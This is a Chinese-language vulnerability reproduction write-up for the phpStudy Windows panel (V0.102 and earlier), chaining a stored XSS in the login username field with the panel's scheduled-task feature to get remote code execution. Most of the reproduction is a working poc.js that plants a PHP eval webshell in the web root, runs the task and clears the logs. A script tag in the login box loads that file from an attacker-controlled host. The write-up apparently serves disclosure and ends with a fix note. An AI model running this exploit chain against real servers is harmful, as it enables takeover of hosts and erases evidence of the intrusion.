简介
phpStudy是一个PHP调试环境的程序集成包。该程序包集成最新的Apache+PHP+MySQL+phpMyAdmin+ZendOptimizer,一次性安装,无须配置即可使用,是非常方便、好用的PHP调试环境.该程序不仅包括PHP调试环境,还包括了开发工具、开发手册等
概述
phpstudy 小皮面板存在RCE漏洞,通过分析和复现发现本质上是一个存储型的XSS漏洞导致的RCE。通过系统登录用户名输入处的XSS配合系统后台自动添加计划任务来实现RCE。
影响版本
小皮windows面板V0.102以及以下版本
官网版本已修复该漏洞,漏洞版本下载:http://www.ddooo.com/softdown/224005.htm
漏洞复现
安装成功后弹出初始账号密码:
尝试几次错误的用户名及密码(验证码需要正确),发现错误的用户名会被记录到首页的操作日志中
发现该漏洞大哥可能就是某一瞬间的突发奇想,尝试登陆框能否插入xss
漏洞就出现在登陆窗口处,一个存储型XSS,登陆框没有做限制,并且日志会记录失败的用户名,登陆后会将尝试的用户名直接显示在小皮首页当中。
可以插入任意XSS代码,可以结合phpstudy中内置计划任务写入webshell
该系统后台有个计划任务的功能,其中可以执行系统命令,所以结合登录处的XSS可以通过写入计划任务来达到命令执行的目的
在VPS部署需要插入的 poc.js 文件(写入目录根据本地实际情况修改)
functionpoc(){
$.get('/service/app/tasks.php?type=task_list',{
},function(data){
varid=data.data[0].ID;
$.post('/service/app/tasks.php?type=exec_task',{
tid:id
},function(res2){
$.post('/service/app/log.php?type=clearlog',{
},function(res3){
},"json");
},"json");
},"json");
}
functionsave(){
vardata=newObject();
data.task_id="";
data.title="test";
data.exec_cycle="1";
data.week="1";
data.day="3";
data.hour="14";
data.minute="20";
data.shell='echo "<?php @eval($_POST[123]);?>" >D:/xp.cn/www/wwwroot/admin/localhost_80/wwwroot/1.php';
$.post('/service/app/tasks.php?type=save_shell',data,function(res){
poc();
},'json');
}
save();
<script src=http://xxxxx.top:888/POC.js></script> #插入登陆框中,加载远程js代码
修复方式
更新到最新版的小皮面板,最新版小皮面板已经修复该漏洞。